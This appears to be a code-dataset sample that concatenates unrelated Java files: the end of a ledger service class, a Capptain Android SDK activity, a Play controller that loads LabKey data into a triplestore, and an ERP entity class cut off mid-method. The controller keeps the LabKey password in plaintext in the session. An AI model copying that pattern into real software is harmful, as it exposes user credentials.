configurationService; } public void setParameterService(ParameterService parameterService) { this.parameterService = parameterService; } public void setFlexibleOffsetAccountService(FlexibleOffsetAccountService flexibleOffsetAccountService) { this.flexibleOffsetAccountService = flexibleOffsetAccountService; } public RunDateService getRunDateService() { return runDateService; } public void setRunDateService(RunDateService runDateService) { this.runDateService = runDateService; } protected void createOutputEntry(Transaction entry, PrintStream group) throws IOException { OriginEntryFull oef = new OriginEntryFull(); oef.copyFieldsFromTransaction(entry); try { group.printf("%s\n", oef.getLine()); } catch (Exception e) { throw new IOException(e.toString()); } } protected void writeErrorEntry(String line, PrintStream invaliGroup) throws IOException { try { invaliGroup.printf("%s\n", line); } catch (Exception e) { throw new IOException(e.toString()); } } public AccountingCycleCachingService getAccountingCycleCachingService() { return accountingCycleCachingService; } public void setAccountingCycleCachingService(AccountingCycleCachingService accountingCycleCachingService) { this.accountingCycleCachingService = accountingCycleCachingService; } public void setSubAccountService(SubAccountService subAccountService) { this.subAccountService = subAccountService; } public void setOffsetDefinitionService(OffsetDefinitionService offsetDefinitionService) { this.offsetDefinitionService = offsetDefinitionService; } protected DataDictionaryService getDataDictionaryService() { return dataDictionaryService; } public void setDataDictionaryService(DataDictionaryService dataDictionaryService) { this.dataDictionaryService = dataDictionaryService; } protected BusinessObjectService getBusinessObjectService() { return businessObjectService; } public void setBusinessObjectService(BusinessObjectService businessObjectService) { this.businessObjectService = businessObjectService; } protected boolean shouldIgnoreExpenditureTransaction(ExpenditureTransaction et) { if (ObjectUtils.isNotNull(et.getOption())) { SystemOptions options = et.getOption(); return StringUtils.isNotBlank(options.getActualFinancialBalanceTypeCd()) && !options.getActualFinancialBalanceTypeCd().equals(et.getBalanceTypeCode()); } return true; } public void setBatchFileDirectoryName(String batchFileDirectoryName) { this.batchFileDirectoryName = batchFileDirectoryName; } public void setPersistenceStructureService(PersistenceStructureService persistenceStructureService) { this.persistenceStructureService = persistenceStructureService; } /** * Gets the persistenceStructureService attribute. * @return Returns the persistenceStructureService. */ public PersistenceStructureService getPersistenceStructureService() { return persistenceStructureService; } public void setReportWriterService(ReportWriterService reportWriterService) { this.reportWriterService = reportWriterService; } public void setErrorListingReportWriterService(ReportWriterService errorListingReportWriterService) { this.errorListingReportWriterService = errorListingReportWriterService; } public void setReversalReportWriterService(ReportWriterService reversalReportWriterService) { this.reversalReportWriterService = reversalReportWriterService; } public void setLedgerSummaryReportWriterService(ReportWriterService ledgerSummaryReportWriterService) { this.ledgerSummaryReportWriterService = ledgerSummaryReportWriterService; } }
55.775804
346
0.681056
1c070c3202cae5756ac6830a3d8dc27f24b144b4
2,516
/* * Copyright 2014 Capptain * * Licensed under the CAPPTAIN SDK LICENSE (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://app.capptain.com/#tos * * This file is supplied "as-is." You bear the risk of using it. * Capptain gives no express or implied warranties, guarantees or conditions. * You may have additional consumer rights under your local laws which this agreement cannot change. * To the extent permitted under your local laws, Capptain excludes the implied warranties of merchantability, * fitness for a particular purpose and non-infringement. */ package com.ubikod.capptain.android.sdk.activity; import android.app.AliasActivity; import android.os.Bundle; import com.ubikod.capptain.android.sdk.CapptainAgent; import com.ubikod.capptain.android.sdk.CapptainAgentUtils; /** * Helper class used to replace Android's android.app.AliasActivity class. */ public abstract class CapptainAliasActivity extends AliasActivity { private CapptainAgent mCapptainAgent; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); mCapptainAgent = CapptainAgent.getInstance(this); } @Override protected void onResume() { mCapptainAgent.startActivity(this, getCapptainActivityName(), getCapptainActivityExtra()); super.onResume(); } @Override protected void onPause() { mCapptainAgent.endActivity(); super.onPause(); } /** * Get the Capptain agent attached to this activity. * @return the Capptain agent */ public final CapptainAgent getCapptainAgent() { return mCapptainAgent; } /** * Override this to specify the name reported by your activity. The default implementation returns * the simple name of the class and removes the "Activity" suffix if any (e.g. * "com.mycompany.MainActivity" -> "Main"). * @return the activity name reported by the Capptain service. */ protected String getCapptainActivityName() { return CapptainAgentUtils.buildCapptainActivityName(getClass()); } /** * Override this to attach extra information to your activity. The default implementation attaches * no extra information (i.e. return null). * @return activity extra information, null or empty if no extra. */ protected Bundle getCapptainActivityExtra() { return null; } }
30.313253
111
0.713434
91ba578f12a14948b88799e4048dfe581cd82f65
14,947
package org.hadatac.console.controllers.triplestore; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.InputStream; import java.util.Comparator; import java.util.LinkedList; import java.util.List; import java.util.Map; import javax.inject.Inject; import org.apache.commons.io.FileUtils; import org.apache.commons.io.IOUtils; import org.hadatac.console.controllers.AuthApplication; import org.hadatac.console.views.html.triplestore.*; import org.hadatac.data.model.ParsingResult; import org.hadatac.console.controllers.triplestore.routes; import org.hadatac.console.models.LabKeyLoginForm; import org.hadatac.console.models.SysUser; import org.hadatac.metadata.loader.LabkeyDataHandler; import org.hadatac.metadata.loader.MetadataContext; import org.hadatac.metadata.loader.SpreadsheetProcessing; import org.hadatac.metadata.loader.TripleProcessing; import org.hadatac.utils.ConfigProp; import org.hadatac.utils.Feedback; import org.hadatac.utils.NameSpaces; import org.hadatac.utils.State; import org.labkey.remoteapi.CommandException; import com.typesafe.config.ConfigFactory; import be.objectify.deadbolt.java.actions.Group; import be.objectify.deadbolt.java.actions.Restrict; import play.data.Form; import play.data.FormFactory; import play.mvc.BodyParser; import play.mvc.Controller; import play.mvc.Http.MultipartFormData.FilePart; import play.mvc.Result; public class LoadKB extends Controller { private static final String UPLOAD_NAME = "tmp/uploads/hasneto-spreadsheet.xls"; private static final String UPLOAD_TURTLE_NAME = "tmp/uploads/turtle.ttl"; @Inject private FormFactory formFactory; @Restrict(@Group(AuthApplication.DATA_MANAGER_ROLE)) public Result loadKB(String oper) { return ok(loadKB.render(oper, "")); } @Restrict(@Group(AuthApplication.DATA_MANAGER_ROLE)) public Result postLoadKB(String oper) { return ok(loadKB.render(oper, "")); } public static String playLoadKB(String oper) { NameSpaces.getInstance(); MetadataContext metadata = new MetadataContext("user", "password", ConfigFactory.load().getString("hadatac.solr.triplestore"), false); String message = ""; if(oper.equals("turtle")){ message = TripleProcessing.processTTL(Feedback.WEB, oper, metadata, UPLOAD_TURTLE_NAME); } else{ message = SpreadsheetProcessing.generateTTL(Feedback.WEB, oper, metadata, UPLOAD_NAME); } return message; } @Restrict(@Group(AuthApplication.DATA_MANAGER_ROLE)) public Result playLoadLabkeyDataAcquisition(String oper, String content, String folder, String study_uri) { System.out.println(String.format("Batch loading data acquisition from \"/%s\"...", folder)); String user_name = session().get("LabKeyUserName"); String password = session().get("LabKeyPassword"); if (user_name == null || password == null) { redirect(routes.LoadKB.loadLabkeyKB("init", content)); } String path = String.format("/%s", folder); String site = ConfigProp.getLabKeySite(); try { final SysUser user = AuthApplication.getLocalUser(Controller.session()); String ownerUri = UserManagement.getUriByEmail(user.getEmail()); if (null == ownerUri) { return badRequest("Cannot find corresponding URI for the current logged in user!"); } ParsingResult result = TripleProcessing.importDataAcquisition( site, path, user_name, password, study_uri); if (result.getStatus() != 0) { return ok(labkeyLoadingResult.render(folder, oper, content, result.getMessage())); } } catch (CommandException e) { if (e.getMessage().equals("Unauthorized")) { return ok(syncLabkey.render("login_failed", routes.LoadKB.playLoadLabkeyFolders("init", content).url(), "")); } } return redirect(org.hadatac.console.controllers.dataacquisitionmanagement. routes.DataAcquisitionManagement.index(State.ACTIVE)); } @Restrict(@Group(AuthApplication.DATA_MANAGER_ROLE)) public Result playLoadLabkeyKB(String oper, String content, String folder, List<String> list_names) { System.out.println(String.format("Batch loading metadata from \"/%s\"...", folder)); List<String> final_names = new LinkedList<String>(); String user_name = session().get("LabKeyUserName"); String password = session().get("LabKeyPassword"); if (user_name == null || password == null) { redirect(routes.LoadKB.loadLabkeyKB("init", content)); } if(oper.equals("init")){ final_names.addAll(list_names); } else if(oper.contains("load")){ if(oper.equals("load_instance_data")){ // get request value from submitted form Map<String, String[]> name_map = request().body().asFormUrlEncoded(); final_names.addAll(name_map.keySet()); oper = "load"; } else{ final_names.addAll(list_names); System.out.println(final_names.size()); } } String path = String.format("/%s", folder); String site = ConfigProp.getLabKeySite(); NameSpaces.getInstance(); MetadataContext metadata = new MetadataContext("user", "password", ConfigFactory.load().getString("hadatac.solr.triplestore"), false); String message = ""; try { message = TripleProcessing.generateTTL(Feedback.WEB, oper, metadata, site, user_name, password, path, final_names); } catch(CommandException e) { if(e.getMessage().equals("Unauthorized")){ return ok(syncLabkey.render("login_failed", routes.LoadKB.playLoadLabkeyFolders("init", content).url(), "")); } } return ok(syncLabkey.render(oper, routes.LoadKB.playLoadLabkeyFolders("init", content).url(), message)); } @Restrict(@Group(AuthApplication.DATA_MANAGER_ROLE)) public Result playLoadLabkeyListContent( String oper, String content, String folder, String list_name) { System.out.println(String.format("Loading data from list \"%s\"...", list_name)); String user_name = session().get("LabKeyUserName"); String password = session().get("LabKeyPassword"); if (user_name == null || password == null) { redirect(routes.LoadKB.loadLabkeyKB("init", content)); } String site = ConfigProp.getLabKeySite(); String path = String.format("/%s", folder); NameSpaces.getInstance(); MetadataContext metadata = new MetadataContext("user", "password", ConfigFactory.load().getString("hadatac.solr.triplestore"), false); String message = ""; try { List<String> loading_list = new LinkedList<String>(); loading_list.add(list_name); message = TripleProcessing.generateTTL( Feedback.WEB, oper, metadata, site, user_name, password, path, loading_list); } catch(CommandException e) { if(e.getMessage().equals("Unauthorized")){ return ok(syncLabkey.render("login_failed", routes.LoadKB.playLoadLabkeyFolders("init", content).url(), "")); } } return ok(labkeyLoadingResult.render(folder, oper, content, message)); } @Restrict(@Group(AuthApplication.DATA_MANAGER_ROLE)) public Result playLoadLabkeyFolders(String oper, String content) { System.out.println("Looking up LabKey folders..."); String user_name = session().get("LabKeyUserName"); String password = session().get("LabKeyPassword"); if (user_name == null || password == null) { Form<LabKeyLoginForm> form = formFactory.form(LabKeyLoginForm.class).bindFromRequest(); user_name = form.get().getUserName(); password = form.get().getPassword(); } String site = ConfigProp.getLabKeySite(); String path = "/"; List<String> folders = null; try { folders = TripleProcessing.getLabKeyFolders(site, user_name, password, path); if (folders != null) { folders.sort(new Comparator<String>() { @Override public int compare(String o1, String o2) { return o1.compareTo(o2); } }); } } catch(CommandException e) { if(e.getMessage().equals("Unauthorized")) { return ok(syncLabkey.render("login_failed", routes.LoadKB.playLoadLabkeyFolders("init", content).url(), "")); } } session().put("LabKeyUserName", user_name); session().put("LabKeyPassword", password); return ok(getLabkeyFolders.render(folders, content)); } @Restrict(@Group(AuthApplication.DATA_MANAGER_ROLE)) public Result playLoadLabkeyLists(String folder, String content) { System.out.println(String.format("Accessing LabKey lists of %s", folder)); String user_name = session().get("LabKeyUserName"); String password = session().get("LabKeyPassword"); if (user_name == null || password == null) { redirect(routes.LoadKB.loadLabkeyKB("init", "knowledge")); } String site = ConfigProp.getLabKeySite(); String path = String.format("/%s", folder); List<String> retMetadataLists = null; List<String> retDataLists = null; try { if(content.equals("ontology")){ retMetadataLists = TripleProcessing.getLabKeyMetadataLists(site, user_name, password, path); retMetadataLists.sort(new Comparator<String>() { @Override public int compare(String o1, String o2) { return o1.compareTo(o2); } }); } else if(content.equals("knowledge")){ retDataLists = TripleProcessing.getLabKeyInstanceDataLists(site, user_name, password, path); retDataLists.sort(new Comparator<String>() { @Override public int compare(String o1, String o2) { return o1.compareTo(o2); } }); } } catch(CommandException e) { if(e.getMessage().equals("Unauthorized")){ return ok(syncLabkey.render("login_failed", routes.LoadKB.playLoadLabkeyFolders("init", content).url(), "")); } } return ok(getLabkeyLists.render(folder, content, retMetadataLists, retDataLists)); } @Restrict(@Group(AuthApplication.DATA_MANAGER_ROLE)) public Result loadLabkeyKB(String oper, String content) { if (session().get("LabKeyUserName") == null && session().get("LabKeyPassword") == null) { return ok(syncLabkey.render(oper, routes.LoadKB.playLoadLabkeyFolders("init", content).url(), "")); } return playLoadLabkeyFolders(oper, content); } @Restrict(@Group(AuthApplication.DATA_MANAGER_ROLE)) public Result postLoadLabkeyKB(String oper, String content) { return loadLabkeyKB(oper, content); } @Restrict(@Group(AuthApplication.DATA_MANAGER_ROLE)) public Result logInLabkey(String nextCall) { return ok(syncLabkey.render("init", routes.LoadKB.postLogInLabkey(nextCall).url(), "")); } @Restrict(@Group(AuthApplication.DATA_MANAGER_ROLE)) public Result postLogInLabkey(String nextCall) { Form<LabKeyLoginForm> form = formFactory.form(LabKeyLoginForm.class).bindFromRequest(); String site = ConfigProp.getLabKeySite(); String path = "/"; String user_name = form.get().getUserName(); String password = form.get().getPassword(); LabkeyDataHandler loader = new LabkeyDataHandler( site, path, user_name, password); try { loader.checkAuthentication(); session().put("LabKeyUserName", user_name); session().put("LabKeyPassword", password); } catch(CommandException e) { if(e.getMessage().equals("Unauthorized")){ return ok(syncLabkey.render("login_failed", nextCall, "")); } } return redirect(nextCall); } @Restrict(@Group(AuthApplication.DATA_MANAGER_ROLE)) @BodyParser.Of(value = BodyParser.MultipartFormData.class) public Result uploadFile(String oper) { System.out.println("uploadFile CALLED!"); FilePart uploadedfile = request().body().asMultipartFormData().getFile("pic"); if (uploadedfile != null) { File file = (File)uploadedfile.getFile(); File newFile = new File(UPLOAD_NAME); InputStream isFile; try { isFile = new FileInputStream(file); byte[] byteFile; try { byteFile = IOUtils.toByteArray(isFile); try { FileUtils.writeByteArrayToFile(newFile, byteFile); } catch (Exception e) { e.printStackTrace(); } try { isFile.close(); } catch (Exception e) { return ok (loadKB.render("fail", "Could not save uploaded file.")); } } catch (Exception e) { return ok (loadKB.render("fail", "Could not process uploaded file.")); } } catch (FileNotFoundException e1) { return ok (loadKB.render("fail", "Could not find uploaded file")); } return ok(loadKB.render(oper, "File uploaded successfully.")); } else { return ok (loadKB.render("fail", "Error uploading file. Please try again.")); } } @Restrict(@Group(AuthApplication.DATA_MANAGER_ROLE)) @BodyParser.Of(value = BodyParser.MultipartFormData.class) public Result uploadTurtleFile(String oper) { System.out.println("uploadTurtleFile CALLED!"); FilePart uploadedfile = request().body().asMultipartFormData().getFile("pic"); if (uploadedfile != null) { File file = (File)uploadedfile.getFile(); File newFile = new File(UPLOAD_TURTLE_NAME); InputStream isFile; try { isFile = new FileInputStream(file); byte[] byteFile; try { byteFile = IOUtils.toByteArray(isFile); try { FileUtils.writeByteArrayToFile(newFile, byteFile); } catch (Exception e) { e.printStackTrace(); } try { isFile.close(); } catch (Exception e) { return ok (loadKB.render("fail", "Could not save uploaded file.")); } } catch (Exception e) { return ok (loadKB.render("fail", "Could not process uploaded file.")); } } catch (FileNotFoundException e1) { return ok (loadKB.render("fail", "Could not find uploaded file")); } return ok(loadKB.render("turtle", "File uploaded successfully.")); } else { return ok (loadKB.render("fail", "Error uploading file. Please try again.")); } } }
37.555276
99
0.643407
4eff7d67fafff5049bc6187ed89224f3cc0538bc
25,728
/* *AVISO LEGAL © Copyright *Este programa esta protegido por la ley de derechos de autor. *La reproduccion o distribucion ilicita de este programa o de cualquiera de *sus partes esta penado por la ley con severas sanciones civiles y penales, *y seran objeto de todas las sanciones legales que correspondan. *Su contenido no puede copiarse para fines comerciales o de otras, *ni puede mostrarse, incluso en una version modificada, en otros sitios Web. Solo esta permitido colocar hipervinculos al sitio web. */ package com.bydan.erp.cartera.business.entity; import java.io.Serializable; import java.io.File; import java.util.Calendar; import java.sql.Timestamp; import java.util.Set; import java.util.HashSet; import java.util.List; import java.util.ArrayList; import java.util.Map; import java.util.HashMap; import java.util.Date; import org.hibernate.validator.*; import com.bydan.framework.erp.business.entity.*; import com.bydan.framework.erp.business.entity.DatoGeneral; import com.bydan.framework.erp.business.dataaccess.ConstantesSql; //import com.bydan.framework.erp.business.entity.Mensajes; import com.bydan.framework.erp.util.Constantes; import com.bydan.framework.erp.util.ConstantesValidacion; //import com.bydan.erp.cartera.util.SubPreguntaEvaluacionConstantesFunciones; import com.bydan.erp.cartera.util.*; import com.bydan.erp.seguridad.util.*; import com.bydan.erp.contabilidad.util.*; import com.bydan.erp.seguridad.business.entity.*; import com.bydan.erp.contabilidad.business.entity.*; @SuppressWarnings("unused") public class SubPreguntaEvaluacion extends SubPreguntaEvaluacionAdditional implements Serializable ,Cloneable {//SubPreguntaEvaluacionAdditional,GeneralEntity private static final long serialVersionUID=1L; public Object clone() { return super.clone(); } protected Long id; protected boolean isNew; protected boolean isChanged; protected boolean isDeleted; protected boolean isSelected; protected Date versionRow; protected String sType; public Long getId() { return this.id; } public void setId(Long newId) { if(this.id!=newId) { this.isChanged=true; } this.id=newId; super.setId(newId); } public Date getVersionRow(){ //ESTO SIEMPRE SE EJECUTA CUANDO SE CONSUME EJB return this.versionRow; } public void setVersionRow(Date newVersionRow){ if(this.versionRow!=newVersionRow){ //LE COMENTO PORQUE CUANDO HAGO GET SIEMPRE POR ESTO LE PONE isChanged=true //this.isChanged=true; } this.versionRow=newVersionRow; super.setVersionRow(newVersionRow); } public boolean getIsNew() { return this.isNew; } public void setIsNew(boolean newIsNew) { this.isNew=newIsNew; super.setIsNew(newIsNew); } public boolean getIsChanged() { return this.isChanged; } public void setIsChanged(boolean newIsChanged) { this.isChanged=newIsChanged; super.setIsChanged(newIsChanged); } public boolean getIsDeleted() { return this.isDeleted; } public void setIsDeleted(boolean newIsDeleted) { this.isDeleted=newIsDeleted; super.setIsDeleted(newIsDeleted); } public boolean getIsSelected() { return this.isSelected; } public void setIsSelected(boolean newIsSelected) { this.isSelected=newIsSelected; super.setIsSelected(newIsSelected); } public String getsType() { return this.sType; } public void setsType(String sType) { this.sType=sType; super.setsType(sType); } private SubPreguntaEvaluacion subpreguntaevaluacionOriginal; private Map<String, Object> mapSubPreguntaEvaluacion; public Map<String, Object> getMapSubPreguntaEvaluacion() { return mapSubPreguntaEvaluacion; } public void setMapSubPreguntaEvaluacion(Map<String, Object> mapSubPreguntaEvaluacion) { this.mapSubPreguntaEvaluacion = mapSubPreguntaEvaluacion; } public void inicializarMapSubPreguntaEvaluacion() { this.mapSubPreguntaEvaluacion = new HashMap<String,Object>(); } public void setMapSubPreguntaEvaluacionValue(String sKey,Object oValue) { this.mapSubPreguntaEvaluacion.put(sKey, oValue); } public Object getMapSubPreguntaEvaluacionValue(String sKey) { return this.mapSubPreguntaEvaluacion.get(sKey); } @NotNull(message=ConstantesValidacion.SVALIDACIONNOTNULL) @Digits(integerDigits=19,fractionalDigits=0,message=ConstantesValidacion.SVALIDACIONBIGINT) @Min(value=0,message=ConstantesValidacion.SVALIDACIONNOVACIO) private Long id_empresa; @NotNull(message=ConstantesValidacion.SVALIDACIONNOTNULL) @Digits(integerDigits=19,fractionalDigits=0,message=ConstantesValidacion.SVALIDACIONBIGINT) @Min(value=0,message=ConstantesValidacion.SVALIDACIONNOVACIO) private Long id_sucursal; @NotNull(message=ConstantesValidacion.SVALIDACIONNOTNULL) @Digits(integerDigits=19,fractionalDigits=0,message=ConstantesValidacion.SVALIDACIONBIGINT) @Min(value=0,message=ConstantesValidacion.SVALIDACIONNOVACIO) private Long id_pregunta_evaluacion; @NotNull(message=ConstantesValidacion.SVALIDACIONNOTNULL) @Digits(integerDigits=19,fractionalDigits=0,message=ConstantesValidacion.SVALIDACIONBIGINT) @Min(value=0,message=ConstantesValidacion.SVALIDACIONNOVACIO) private Long id_ejercicio; @NotNull(message=ConstantesValidacion.SVALIDACIONNOTNULL) @Digits(integerDigits=19,fractionalDigits=0,message=ConstantesValidacion.SVALIDACIONBIGINT) @Min(value=0,message=ConstantesValidacion.SVALIDACIONNOVACIO) private Long id_periodo; @NotNull(message=ConstantesValidacion.SVALIDACIONNOTNULL) @Digits(integerDigits=10,fractionalDigits=0,message=ConstantesValidacion.SVALIDACIONINT) private Integer orden; @NotNull(message=ConstantesValidacion.SVALIDACIONNOTNULL) @Length(min=0,max=150,message=ConstantesValidacion.SVALIDACIONLENGTH) @NotEmpty(message=ConstantesValidacion.SVALIDACIONNOVACIO) @Pattern(regex=SubPreguntaEvaluacionConstantesFunciones.SREGEXPREGUNTA,message=SubPreguntaEvaluacionConstantesFunciones.SMENSAJEREGEXPREGUNTA) private String pregunta; @NotNull(message=ConstantesValidacion.SVALIDACIONNOTNULL) @Digits(integerDigits=18,fractionalDigits=2,message=ConstantesValidacion.SVALIDACIONDECIMAL) private Double porcentaje_si; @NotNull(message=ConstantesValidacion.SVALIDACIONNOTNULL) private Boolean con_factura; @NotNull(message=ConstantesValidacion.SVALIDACIONNOTNULL) private Boolean con_orden_compra; @NotNull(message=ConstantesValidacion.SVALIDACIONNOTNULL) private Boolean con_completo; @NotNull(message=ConstantesValidacion.SVALIDACIONNOTNULL) private Boolean con_a_tiempo; public Empresa empresa; public Sucursal sucursal; public PreguntaEvaluacion preguntaevaluacion; public Ejercicio ejercicio; public Periodo periodo; private String empresa_descripcion; private String sucursal_descripcion; private String preguntaevaluacion_descripcion; private String ejercicio_descripcion; private String periodo_descripcion; public List<DetalleEvaluacionProveedor> detalleevaluacionproveedors; public SubPreguntaEvaluacion () throws Exception { super(); this.id=0L; this.versionRow=new java.sql.Timestamp(Calendar.getInstance().getTime().getTime());//new Date(); this.isNew=true; this.isChanged=false; this.isDeleted=false; this.sType="NONE"; this.subpreguntaevaluacionOriginal=this; this.id_empresa=-1L; this.id_sucursal=-1L; this.id_pregunta_evaluacion=-1L; this.id_ejercicio=-1L; this.id_periodo=-1L; this.orden=0; this.pregunta=""; this.porcentaje_si=0.0; this.con_factura=false; this.con_orden_compra=false; this.con_completo=false; this.con_a_tiempo=false; this.empresa=null; this.sucursal=null; this.preguntaevaluacion=null; this.ejercicio=null; this.periodo=null; this.empresa_descripcion=""; this.sucursal_descripcion=""; this.preguntaevaluacion_descripcion=""; this.ejercicio_descripcion=""; this.periodo_descripcion=""; this.detalleevaluacionproveedors=null; /*PARA REPORTES*/ this.inicializarVariablesParaReporte(); /*PARA REPORTES*/ } //PARA REPORTES public SubPreguntaEvaluacion (Long id,Date versionRow,Long id_empresa,Long id_sucursal,Long id_pregunta_evaluacion,Long id_ejercicio,Long id_periodo,Integer orden,String pregunta,Double porcentaje_si,Boolean con_factura,Boolean con_orden_compra,Boolean con_completo,Boolean con_a_tiempo) throws Exception { super(); this.id=id; this.versionRow=versionRow; this.isNew=true; this.isChanged=false; this.isDeleted=false; this.subpreguntaevaluacionOriginal=this; this.id_empresa=id_empresa; this.id_sucursal=id_sucursal; this.id_pregunta_evaluacion=id_pregunta_evaluacion; this.id_ejercicio=id_ejercicio; this.id_periodo=id_periodo; this.orden=orden; this.pregunta=pregunta; this.porcentaje_si=porcentaje_si; this.con_factura=con_factura; this.con_orden_compra=con_orden_compra; this.con_completo=con_completo; this.con_a_tiempo=con_a_tiempo; /*PARA REPORTES*/ this.inicializarVariablesParaReporte(); /*PARA REPORTES*/ } //PARA REPORTES public SubPreguntaEvaluacion (Long id_empresa,Long id_sucursal,Long id_pregunta_evaluacion,Long id_ejercicio,Long id_periodo,Integer orden,String pregunta,Double porcentaje_si,Boolean con_factura,Boolean con_orden_compra,Boolean con_completo,Boolean con_a_tiempo) throws Exception { super(); this.id=0L; this.versionRow=new Date(); this.isNew=true; this.isChanged=false; this.isDeleted=false; this.subpreguntaevaluacionOriginal=this; this.id_empresa=id_empresa; this.id_sucursal=id_sucursal; this.id_pregunta_evaluacion=id_pregunta_evaluacion; this.id_ejercicio=id_ejercicio; this.id_periodo=id_periodo; this.orden=orden; this.pregunta=pregunta; this.porcentaje_si=porcentaje_si; this.con_factura=con_factura; this.con_orden_compra=con_orden_compra; this.con_completo=con_completo; this.con_a_tiempo=con_a_tiempo; /*PARA REPORTES*/ this.inicializarVariablesParaReporte(); /*PARA REPORTES*/ } public boolean equals(Object object) { boolean equal=false; SubPreguntaEvaluacion subpreguntaevaluacionLocal=null; if(object!=null) { subpreguntaevaluacionLocal=(SubPreguntaEvaluacion)object; if(subpreguntaevaluacionLocal!=null) { if(this.getId()!=null && subpreguntaevaluacionLocal.getId()!=null) { if(this.getId().equals(subpreguntaevaluacionLocal.getId())) { equal=true; } } } } return equal; } public String toString() { String sDetalle=""; if(!SubPreguntaEvaluacionConstantesFunciones.CON_DESCRIPCION_DETALLADO) { sDetalle=SubPreguntaEvaluacionConstantesFunciones.getSubPreguntaEvaluacionDescripcion(this); } else { sDetalle=SubPreguntaEvaluacionConstantesFunciones.getSubPreguntaEvaluacionDescripcionDetallado(this); } return sDetalle; } public SubPreguntaEvaluacion getSubPreguntaEvaluacionOriginal() { return this.subpreguntaevaluacionOriginal; } public void setSubPreguntaEvaluacionOriginal(SubPreguntaEvaluacion subpreguntaevaluacion) { try { this.subpreguntaevaluacionOriginal=subpreguntaevaluacion; } catch(Exception e) { ; } } protected SubPreguntaEvaluacionAdditional subpreguntaevaluacionAdditional=null; public SubPreguntaEvaluacionAdditional getSubPreguntaEvaluacionAdditional() { return this.subpreguntaevaluacionAdditional; } public void setSubPreguntaEvaluacionAdditional(SubPreguntaEvaluacionAdditional subpreguntaevaluacionAdditional) { try { this.subpreguntaevaluacionAdditional=subpreguntaevaluacionAdditional; } catch(Exception e) { ; } } public Long getid_empresa() { return this.id_empresa; } public Long getid_sucursal() { return this.id_sucursal; } public Long getid_pregunta_evaluacion() { return this.id_pregunta_evaluacion; } public Long getid_ejercicio() { return this.id_ejercicio; } public Long getid_periodo() { return this.id_periodo; } public Integer getorden() { return this.orden; } public String getpregunta() { return this.pregunta; } public Double getporcentaje_si() { return this.porcentaje_si; } public Boolean getcon_factura() { return this.con_factura; } public Boolean getcon_orden_compra() { return this.con_orden_compra; } public Boolean getcon_completo() { return this.con_completo; } public Boolean getcon_a_tiempo() { return this.con_a_tiempo; } public void setid_empresa(Long newid_empresa)throws Exception { try { if(this.id_empresa!=newid_empresa) { if(newid_empresa==null) { //newid_empresa=-1L; if(Constantes.ISDEVELOPING) { System.out.println("SubPreguntaEvaluacion:Valor nulo no permitido en columna id_empresa"); } } this.id_empresa=newid_empresa; this.setIsChanged(true); } } catch(Exception e) { throw e; } } public void setid_sucursal(Long newid_sucursal)throws Exception { try { if(this.id_sucursal!=newid_sucursal) { if(newid_sucursal==null) { //newid_sucursal=-1L; if(Constantes.ISDEVELOPING) { System.out.println("SubPreguntaEvaluacion:Valor nulo no permitido en columna id_sucursal"); } } this.id_sucursal=newid_sucursal; this.setIsChanged(true); } } catch(Exception e) { throw e; } } public void setid_pregunta_evaluacion(Long newid_pregunta_evaluacion)throws Exception { try { if(this.id_pregunta_evaluacion!=newid_pregunta_evaluacion) { if(newid_pregunta_evaluacion==null) { //newid_pregunta_evaluacion=-1L; if(Constantes.ISDEVELOPING) { System.out.println("SubPreguntaEvaluacion:Valor nulo no permitido en columna id_pregunta_evaluacion"); } } this.id_pregunta_evaluacion=newid_pregunta_evaluacion; this.setIsChanged(true); } } catch(Exception e) { throw e; } } public void setid_ejercicio(Long newid_ejercicio)throws Exception { try { if(this.id_ejercicio!=newid_ejercicio) { if(newid_ejercicio==null) { //newid_ejercicio=-1L; if(Constantes.ISDEVELOPING) { System.out.println("SubPreguntaEvaluacion:Valor nulo no permitido en columna id_ejercicio"); } } this.id_ejercicio=newid_ejercicio; this.setIsChanged(true); } } catch(Exception e) { throw e; } } public void setid_periodo(Long newid_periodo)throws Exception { try { if(this.id_periodo!=newid_periodo) { if(newid_periodo==null) { //newid_periodo=-1L; if(Constantes.ISDEVELOPING) { System.out.println("SubPreguntaEvaluacion:Valor nulo no permitido en columna id_periodo"); } } this.id_periodo=newid_periodo; this.setIsChanged(true); } } catch(Exception e) { throw e; } } public void setorden(Integer neworden)throws Exception { try { if(this.orden!=neworden) { if(neworden==null) { //neworden=0; if(Constantes.ISDEVELOPING) { System.out.println("SubPreguntaEvaluacion:Valor nulo no permitido en columna orden"); } } this.orden=neworden; this.setIsChanged(true); } } catch(Exception e) { throw e; } } public void setpregunta(String newpregunta)throws Exception { try { if(this.pregunta!=newpregunta) { if(newpregunta==null) { //newpregunta=""; if(Constantes.ISDEVELOPING) { System.out.println("SubPreguntaEvaluacion:Valor nulo no permitido en columna pregunta"); } } if(newpregunta!=null&&newpregunta.length()>150) { newpregunta=newpregunta.substring(0,148); System.out.println("SubPreguntaEvaluacion:Ha sobrepasado el numero maximo de caracteres permitidos,Maximo=150 en columna pregunta"); } this.pregunta=newpregunta; this.setIsChanged(true); } } catch(Exception e) { throw e; } } public void setporcentaje_si(Double newporcentaje_si)throws Exception { try { if(this.porcentaje_si!=newporcentaje_si) { if(newporcentaje_si==null) { //newporcentaje_si=0.0; if(Constantes.ISDEVELOPING) { System.out.println("SubPreguntaEvaluacion:Valor nulo no permitido en columna porcentaje_si"); } } this.porcentaje_si=newporcentaje_si; this.setIsChanged(true); } } catch(Exception e) { throw e; } } public void setcon_factura(Boolean newcon_factura)throws Exception { try { if(this.con_factura!=newcon_factura) { if(newcon_factura==null) { //newcon_factura=false; if(Constantes.ISDEVELOPING) { System.out.println("SubPreguntaEvaluacion:Valor nulo no permitido en columna con_factura"); } } this.con_factura=newcon_factura; this.setIsChanged(true); } } catch(Exception e) { throw e; } } public void setcon_orden_compra(Boolean newcon_orden_compra)throws Exception { try { if(this.con_orden_compra!=newcon_orden_compra) { if(newcon_orden_compra==null) { //newcon_orden_compra=false; if(Constantes.ISDEVELOPING) { System.out.println("SubPreguntaEvaluacion:Valor nulo no permitido en columna con_orden_compra"); } } this.con_orden_compra=newcon_orden_compra; this.setIsChanged(true); } } catch(Exception e) { throw e; } } public void setcon_completo(Boolean newcon_completo)throws Exception { try { if(this.con_completo!=newcon_completo) { if(newcon_completo==null) { //newcon_completo=false; if(Constantes.ISDEVELOPING) { System.out.println("SubPreguntaEvaluacion:Valor nulo no permitido en columna con_completo"); } } this.con_completo=newcon_completo; this.setIsChanged(true); } 